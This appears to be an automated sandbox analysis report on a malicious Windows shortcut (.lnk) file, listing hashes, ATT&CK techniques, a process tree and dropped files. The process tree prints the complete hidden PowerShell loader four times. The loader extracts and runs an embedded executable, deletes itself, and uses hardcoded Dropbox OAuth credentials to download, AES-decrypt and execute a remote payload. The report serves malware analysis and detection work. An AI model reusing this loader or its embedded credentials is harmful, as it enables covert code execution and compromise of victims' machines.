fe156159a26f8b7c140db61dd8b136e1c8103a800748fe9b70a3a3fdf179d3c3

General

Target

fe156159a26f8b7c140db61dd8b136e1c8103a800748fe9b70a3a3fdf179d3c3.lnk
Size

1.1MB
MD5

a4bd6d00abbd79ab00161ff538cfe703
SHA1

075d7249d09f14cbf0a4ffcb077c77512d3ab9a0
SHA256

fe156159a26f8b7c140db61dd8b136e1c8103a800748fe9b70a3a3fdf179d3c3
SHA512

ad9a0125f1cebf8e68a81c6a85bc5b3e04a83e812d13431fe1c36dbbab26b6894be0f7068f9a2bee9b2f37bcd3ec8206530d8922e811adf6f987c2765660ee0b
SSDEEP

1536:LCNrr8wc73ExbcrIoHXnTKZva0CfkTYcIJex+155sB:LCNrr8wc73ExbcrIUnTKUfkiH54

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
6	3128	powershell.exe
10	3128	powershell.exe
13	1416	powershell.exe
15	1416	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	cmd.exe

Deletes itself 1 IoCs

pid	Process
3128	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3128	powershell.exe
3128	powershell.exe
1416	powershell.exe
1416	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3128	powershell.exe
Token: SeDebugPrivilege	1416	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5028 wrote to memory of 1100	5028	cmd.exe	86
PID 5028 wrote to memory of 1100	5028	cmd.exe	86
PID 1100 wrote to memory of 3128	1100	cmd.exe	87
PID 1100 wrote to memory of 3128	1100	cmd.exe	87
PID 3128 wrote to memory of 2856	3128	powershell.exe	88
PID 3128 wrote to memory of 2856	3128	powershell.exe	88
PID 2856 wrote to memory of 1416	2856	cmd.exe	90
PID 2856 wrote to memory of 1416	2856	cmd.exe	90

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\fe156159a26f8b7c140db61dd8b136e1c8103a800748fe9b70a3a3fdf179d3c3.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5028
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c powershell -windowstyle hidden -nop -NoProfile -NonInteractive -c "$tmp = 'C:\Users\Admin\AppData\Local\Temp';$lnkpath = Get-ChildItem *.lnk;foreach ($path in $lnkpath) { if ($path.length -eq 0x0010F27C) { $lnkpath = $path;}}foreach ($item in $lnkpath) { $lnkpath = $item.Name;}$InputStream = New-Object System.IO.FileStream($lnkpath, [IO.FileMode]::Open, [System.IO.FileAccess]::Read);$file=New-Object Byte[]($InputStream.length);$len=$InputStream.Read($file,0,$file.Length);$InputStream.Dispose();write-host \"readfileend\";$path = $lnkpath.substring(0,$lnkpath.length-4);$path1 = 'C:\Users\Admin\AppData\Local\Temp\tmp' + (Get-Random) + '.vbs';$len1 = 1057248;$len2 = 1110496;$len3 = 1110496;$temp = New-Object Byte[]($len2-$len1);write-host \"exestart\";for($i=$len1; $i -lt $len2; $i++) { $temp[$i-$len1] = $file[$i]};sc $path ([byte[]]$temp) -Encoding Byte;write-host \"exeend\";$temp = New-Object Byte[]($file.Length-$len3);for($i=$len3; $i -lt $file.Length; $i++) { $temp[$i-$len3] = $file[$i]}; $encData_b64 = Start-Process -FilePath $path;[System.IO.File]::Delete($lnkpath);Function AESDecrypt { param ( [Byte[]]$bytes,[String]$pass=\"pa55w0rd\") $InputStream = New-Object System.IO.MemoryStream(,$bytes);$OutputStream = New-Object System.IO.MemoryStream;$Salt = New-Object Byte[](32);$BytesRead = $InputStream.Read($Salt, 0, $Salt.Length);if ( $BytesRead -ne $Salt.Length ) { exit;} $PBKDF2 = New-Object System.Security.Cryptography.Rfc2898DeriveBytes($pass, $Salt);$AESKey = $PBKDF2.GetBytes(32);$AESIV = $PBKDF2.GetBytes(16);$AES = New-Object Security.Cryptography.AesManaged;$Dec = $AES.CreateDecryptor($AESKey, $AESIV);$CryptoStream = New-Object System.Security.Cryptography.CryptoStream($InputStream, $Dec, [System.Security.Cryptography.CryptoStreamMode]::Read);$CryptoStream.CopyTo($OutputStream);$OutputStream.Dispose();return $OutputStream.ToArray();} $clientID = \"oj8kd1lzqrw7v3m\";$clientSecret = \"vwp27gytekx9jfq\";$refreshToken = \"wR3_ULk2OicAAAAAAAAAAV81-_COcFPa8SN0V5K-ZPTYB-BVIH5E1c4_fqLOCC_u\";$body = @{grant_type=\"refresh_token\";refresh_token=$refreshToken;client_id=$clientID;client_secret=$clientSecret};$tokenEndpoint = \"https://api.dropboxapi.com/oauth2/token\";$response = Invoke-RestMethod -Uri $tokenEndpoint -Method Post -Body $body;if ($response.access_token) {$accessToken = $response.access_token;}$downloadUrl = \"https://content.dropboxapi.com/2/files/download\";$remoteFilePath = \"/step5/ps.bin\";$request = [System.Net.HttpWebRequest]::Create($downloadUrl);$request.Method = \"POST\";$request.Headers.Add(\"Authorization\", \"Bearer $accessToken\");$request.Headers.Add(\"Dropbox-API-Arg\", '{\"path\": \"' + $remoteFilePath + '\"}');$response = $request.GetResponse();$receiveStream = $response.GetResponseStream();$pass = \"pa55w0rd\";if ($receiveStream -ne $null) {$streamReader = New-Object System.IO.StreamReader($receiveStream);$memoryStream = New-Object System.IO.MemoryStream;$buffer = New-Object byte[] 1024;$read = 0;do { $read = $receiveStream.Read($buffer, 0, $buffer.Length);$memoryStream.Write($buffer, 0, $read);} while ($read -gt 0);$enc_bytes = $memoryStream.ToArray();$dec_bytes = AESDecrypt -bytes $enc_bytes -pass $pass;$newString = [System.Text.Encoding]::UTF8.GetString($dec_bytes);iex $newString;$memoryStream.Close();$streamReader.Close();};$receiveStream.Close();$response.Close();"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1100
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -windowstyle hidden -nop -NoProfile -NonInteractive -c "$tmp = 'C:\Users\Admin\AppData\Local\Temp';$lnkpath = Get-ChildItem *.lnk;foreach ($path in $lnkpath) { if ($path.length -eq 0x0010F27C) { $lnkpath = $path;}}foreach ($item in $lnkpath) { $lnkpath = $item.Name;}$InputStream = New-Object System.IO.FileStream($lnkpath, [IO.FileMode]::Open, [System.IO.FileAccess]::Read);$file=New-Object Byte[]($InputStream.length);$len=$InputStream.Read($file,0,$file.Length);$InputStream.Dispose();write-host \"readfileend\";$path = $lnkpath.substring(0,$lnkpath.length-4);$path1 = 'C:\Users\Admin\AppData\Local\Temp\tmp' + (Get-Random) + '.vbs';$len1 = 1057248;$len2 = 1110496;$len3 = 1110496;$temp = New-Object Byte[]($len2-$len1);write-host \"exestart\";for($i=$len1; $i -lt $len2; $i++) { $temp[$i-$len1] = $file[$i]};sc $path ([byte[]]$temp) -Encoding Byte;write-host \"exeend\";$temp = New-Object Byte[]($file.Length-$len3);for($i=$len3; $i -lt $file.Length; $i++) { $temp[$i-$len3] = $file[$i]}; $encData_b64 = Start-Process -FilePath $path;[System.IO.File]::Delete($lnkpath);Function AESDecrypt { param ( [Byte[]]$bytes,[String]$pass=\"pa55w0rd\") $InputStream = New-Object System.IO.MemoryStream(,$bytes);$OutputStream = New-Object System.IO.MemoryStream;$Salt = New-Object Byte[](32);$BytesRead = $InputStream.Read($Salt, 0, $Salt.Length);if ( $BytesRead -ne $Salt.Length ) { exit;} $PBKDF2 = New-Object System.Security.Cryptography.Rfc2898DeriveBytes($pass, $Salt);$AESKey = $PBKDF2.GetBytes(32);$AESIV = $PBKDF2.GetBytes(16);$AES = New-Object Security.Cryptography.AesManaged;$Dec = $AES.CreateDecryptor($AESKey, $AESIV);$CryptoStream = New-Object System.Security.Cryptography.CryptoStream($InputStream, $Dec, [System.Security.Cryptography.CryptoStreamMode]::Read);$CryptoStream.CopyTo($OutputStream);$OutputStream.Dispose();return $OutputStream.ToArray();} $clientID = \"oj8kd1lzqrw7v3m\";$clientSecret = \"vwp27gytekx9jfq\";$refreshToken = \"wR3_ULk2OicAAAAAAAAAAV81-_COcFPa8SN0V5K-ZPTYB-BVIH5E1c4_fqLOCC_u\";$body = @{grant_type=\"refresh_token\";refresh_token=$refreshToken;client_id=$clientID;client_secret=$clientSecret};$tokenEndpoint = \"https://api.dropboxapi.com/oauth2/token\";$response = Invoke-RestMethod -Uri $tokenEndpoint -Method Post -Body $body;if ($response.access_token) {$accessToken = $response.access_token;}$downloadUrl = \"https://content.dropboxapi.com/2/files/download\";$remoteFilePath = \"/step5/ps.bin\";$request = [System.Net.HttpWebRequest]::Create($downloadUrl);$request.Method = \"POST\";$request.Headers.Add(\"Authorization\", \"Bearer $accessToken\");$request.Headers.Add(\"Dropbox-API-Arg\", '{\"path\": \"' + $remoteFilePath + '\"}');$response = $request.GetResponse();$receiveStream = $response.GetResponseStream();$pass = \"pa55w0rd\";if ($receiveStream -ne $null) {$streamReader = New-Object System.IO.StreamReader($receiveStream);$memoryStream = New-Object System.IO.MemoryStream;$buffer = New-Object byte[] 1024;$read = 0;do { $read = $receiveStream.Read($buffer, 0, $buffer.Length);$memoryStream.Write($buffer, 0, $read);} while ($read -gt 0);$enc_bytes = $memoryStream.ToArray();$dec_bytes = AESDecrypt -bytes $enc_bytes -pass $pass;$newString = [System.Text.Encoding]::UTF8.GetString($dec_bytes);iex $newString;$memoryStream.Close();$streamReader.Close();};$receiveStream.Close();$response.Close();"
    3⤵
    - Blocklisted process makes network request
    - Deletes itself
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3128
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c powershell -windowstyle hidden -nop -NoProfile -NonInteractive -c "$tmp = 'C:\Users\Admin\AppData\Local\Temp';$lnkpath = Get-ChildItem *.lnk;foreach ($path in $lnkpath) { if ($path.length -eq 0x0010F27C) { $lnkpath = $path;}}foreach ($item in $lnkpath) { $lnkpath = $item.Name;}$InputStream = New-Object System.IO.FileStream($lnkpath, [IO.FileMode]::Open, [System.IO.FileAccess]::Read);$file=New-Object Byte[]($InputStream.length);$len=$InputStream.Read($file,0,$file.Length);$InputStream.Dispose();write-host \"readfileend\";$path = $lnkpath.substring(0,$lnkpath.length-4);$path1 = 'C:\Users\Admin\AppData\Local\Temp\tmp' + (Get-Random) + '.vbs';$len1 = 1057248;$len2 = 1110496;$len3 = 1110496;$temp = New-Object Byte[]($len2-$len1);write-host \"exestart\";for($i=$len1; $i -lt $len2; $i++) { $temp[$i-$len1] = $file[$i]};sc $path ([byte[]]$temp) -Encoding Byte;write-host \"exeend\";$temp = New-Object Byte[]($file.Length-$len3);for($i=$len3; $i -lt $file.Length; $i++) { $temp[$i-$len3] = $file[$i]}; $encData_b64 = Start-Process -FilePath $path;[System.IO.File]::Delete($lnkpath);Function AESDecrypt { param ( [Byte[]]$bytes,[String]$pass=\"pa55w0rd\") $InputStream = New-Object System.IO.MemoryStream(,$bytes);$OutputStream = New-Object System.IO.MemoryStream;$Salt = New-Object Byte[](32);$BytesRead = $InputStream.Read($Salt, 0, $Salt.Length);if ( $BytesRead -ne $Salt.Length ) { exit;} $PBKDF2 = New-Object System.Security.Cryptography.Rfc2898DeriveBytes($pass, $Salt);$AESKey = $PBKDF2.GetBytes(32);$AESIV = $PBKDF2.GetBytes(16);$AES = New-Object Security.Cryptography.AesManaged;$Dec = $AES.CreateDecryptor($AESKey, $AESIV);$CryptoStream = New-Object System.Security.Cryptography.CryptoStream($InputStream, $Dec, [System.Security.Cryptography.CryptoStreamMode]::Read);$CryptoStream.CopyTo($OutputStream);$OutputStream.Dispose();return $OutputStream.ToArray();} $clientID = \"oj8kd1lzqrw7v3m\";$clientSecret = \"vwp27gytekx9jfq\";$refreshToken = \"wR3_ULk2OicAAAAAAAAAAV81-_COcFPa8SN0V5K-ZPTYB-BVIH5E1c4_fqLOCC_u\";$body = @{grant_type=\"refresh_token\";refresh_token=$refreshToken;client_id=$clientID;client_secret=$clientSecret};$tokenEndpoint = \"https://api.dropboxapi.com/oauth2/token\";$response = Invoke-RestMethod -Uri $tokenEndpoint -Method Post -Body $body;if ($response.access_token) {$accessToken = $response.access_token;}$downloadUrl = \"https://content.dropboxapi.com/2/files/download\";$remoteFilePath = \"/step5/ps.bin\";$request = [System.Net.HttpWebRequest]::Create($downloadUrl);$request.Method = \"POST\";$request.Headers.Add(\"Authorization\", \"Bearer $accessToken\");$request.Headers.Add(\"Dropbox-API-Arg\", '{\"path\": \"' + $remoteFilePath + '\"}');$response = $request.GetResponse();$receiveStream = $response.GetResponseStream();$pass = \"pa55w0rd\";if ($receiveStream -ne $null) {$streamReader = New-Object System.IO.StreamReader($receiveStream);$memoryStream = New-Object System.IO.MemoryStream;$buffer = New-Object byte[] 1024;$read = 0;do { $read = $receiveStream.Read($buffer, 0, $buffer.Length);$memoryStream.Write($buffer, 0, $read);} while ($read -gt 0);$enc_bytes = $memoryStream.ToArray();$dec_bytes = AESDecrypt -bytes $enc_bytes -pass $pass;$newString = [System.Text.Encoding]::UTF8.GetString($dec_bytes);iex $newString;$memoryStream.Close();$streamReader.Close();};$receiveStream.Close();$response.Close();"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2856
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -windowstyle hidden -nop -NoProfile -NonInteractive -c "$tmp = 'C:\Users\Admin\AppData\Local\Temp';$lnkpath = Get-ChildItem *.lnk;foreach ($path in $lnkpath) { if ($path.length -eq 0x0010F27C) { $lnkpath = $path;}}foreach ($item in $lnkpath) { $lnkpath = $item.Name;}$InputStream = New-Object System.IO.FileStream($lnkpath, [IO.FileMode]::Open, [System.IO.FileAccess]::Read);$file=New-Object Byte[]($InputStream.length);$len=$InputStream.Read($file,0,$file.Length);$InputStream.Dispose();write-host \"readfileend\";$path = $lnkpath.substring(0,$lnkpath.length-4);$path1 = 'C:\Users\Admin\AppData\Local\Temp\tmp' + (Get-Random) + '.vbs';$len1 = 1057248;$len2 = 1110496;$len3 = 1110496;$temp = New-Object Byte[]($len2-$len1);write-host \"exestart\";for($i=$len1; $i -lt $len2; $i++) { $temp[$i-$len1] = $file[$i]};sc $path ([byte[]]$temp) -Encoding Byte;write-host \"exeend\";$temp = New-Object Byte[]($file.Length-$len3);for($i=$len3; $i -lt $file.Length; $i++) { $temp[$i-$len3] = $file[$i]}; $encData_b64 = Start-Process -FilePath $path;[System.IO.File]::Delete($lnkpath);Function AESDecrypt { param ( [Byte[]]$bytes,[String]$pass=\"pa55w0rd\") $InputStream = New-Object System.IO.MemoryStream(,$bytes);$OutputStream = New-Object System.IO.MemoryStream;$Salt = New-Object Byte[](32);$BytesRead = $InputStream.Read($Salt, 0, $Salt.Length);if ( $BytesRead -ne $Salt.Length ) { exit;} $PBKDF2 = New-Object System.Security.Cryptography.Rfc2898DeriveBytes($pass, $Salt);$AESKey = $PBKDF2.GetBytes(32);$AESIV = $PBKDF2.GetBytes(16);$AES = New-Object Security.Cryptography.AesManaged;$Dec = $AES.CreateDecryptor($AESKey, $AESIV);$CryptoStream = New-Object System.Security.Cryptography.CryptoStream($InputStream, $Dec, [System.Security.Cryptography.CryptoStreamMode]::Read);$CryptoStream.CopyTo($OutputStream);$OutputStream.Dispose();return $OutputStream.ToArray();} $clientID = \"oj8kd1lzqrw7v3m\";$clientSecret = \"vwp27gytekx9jfq\";$refreshToken = \"wR3_ULk2OicAAAAAAAAAAV81-_COcFPa8SN0V5K-ZPTYB-BVIH5E1c4_fqLOCC_u\";$body = @{grant_type=\"refresh_token\";refresh_token=$refreshToken;client_id=$clientID;client_secret=$clientSecret};$tokenEndpoint = \"https://api.dropboxapi.com/oauth2/token\";$response = Invoke-RestMethod -Uri $tokenEndpoint -Method Post -Body $body;if ($response.access_token) {$accessToken = $response.access_token;}$downloadUrl = \"https://content.dropboxapi.com/2/files/download\";$remoteFilePath = \"/step5/ps.bin\";$request = [System.Net.HttpWebRequest]::Create($downloadUrl);$request.Method = \"POST\";$request.Headers.Add(\"Authorization\", \"Bearer $accessToken\");$request.Headers.Add(\"Dropbox-API-Arg\", '{\"path\": \"' + $remoteFilePath + '\"}');$response = $request.GetResponse();$receiveStream = $response.GetResponseStream();$pass = \"pa55w0rd\";if ($receiveStream -ne $null) {$streamReader = New-Object System.IO.StreamReader($receiveStream);$memoryStream = New-Object System.IO.MemoryStream;$buffer = New-Object byte[] 1024;$read = 0;do { $read = $receiveStream.Read($buffer, 0, $buffer.Length);$memoryStream.Write($buffer, 0, $read);} while ($read -gt 0);$enc_bytes = $memoryStream.ToArray();$dec_bytes = AESDecrypt -bytes $enc_bytes -pass $pass;$newString = [System.Text.Encoding]::UTF8.GetString($dec_bytes);iex $newString;$memoryStream.Close();$streamReader.Close();};$receiveStream.Close();$response.Close();"
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1416

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
223bd4ae02766ddc32e6145fd1a29301

SHA1
900cfd6526d7e33fb4039a1cc2790ea049bc2c5b

SHA256
1022ec2fed08ff473817fc53893e192a8e33e6a16f3d2c8cb6fd37f49c938e1e

SHA512
648cd3f8a89a18128d2b1bf960835e087a74cdbc783dbfcc712b3cb9e3a2e4f715e534ba2ef81d89af8f60d4882f6859373248c875ceb26ad0922e891f2e74cc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
fc5bce39112bb57db417baf918d51842

SHA1
549846659e26ca9b65773a3db3f1e67aa91f9d5e

SHA256
2975d4cbee15842e207942cfcba9d73ed08b1e7908ee1f27d162e98b860062f5

SHA512
f4a8e64370839d74be1d62a7111888f65b1db447aa9740eb73bffcd792e05ff6b8add877af833786489051e581b4b60ee37e99522abbf76952d85c7838ca3028

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ydzsljhz.oiu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1416-27-0x0000026742750000-0x0000026742760000-memory.dmp

Filesize
64KB

Download
memory/1416-14-0x00007FF851B30000-0x00007FF8525F1000-memory.dmp

Filesize
10.8MB

Download
memory/1416-15-0x0000026742750000-0x0000026742760000-memory.dmp

Filesize
64KB

Download
memory/1416-16-0x0000026742750000-0x0000026742760000-memory.dmp

Filesize
64KB

Download
memory/1416-34-0x00007FF851B30000-0x00007FF8525F1000-memory.dmp

Filesize
10.8MB

Download
memory/3128-11-0x000001A76A840000-0x000001A76A850000-memory.dmp

Filesize
64KB

Download
memory/3128-26-0x000001A76A840000-0x000001A76A850000-memory.dmp

Filesize
64KB

Download
memory/3128-0-0x000001A76B230000-0x000001A76B252000-memory.dmp

Filesize
136KB

Download
memory/3128-30-0x00007FF851B30000-0x00007FF8525F1000-memory.dmp

Filesize
10.8MB

Download
memory/3128-12-0x000001A76A840000-0x000001A76A850000-memory.dmp

Filesize
64KB

Download
memory/3128-10-0x00007FF851B30000-0x00007FF8525F1000-memory.dmp

Filesize
10.8MB

Download

Analysis

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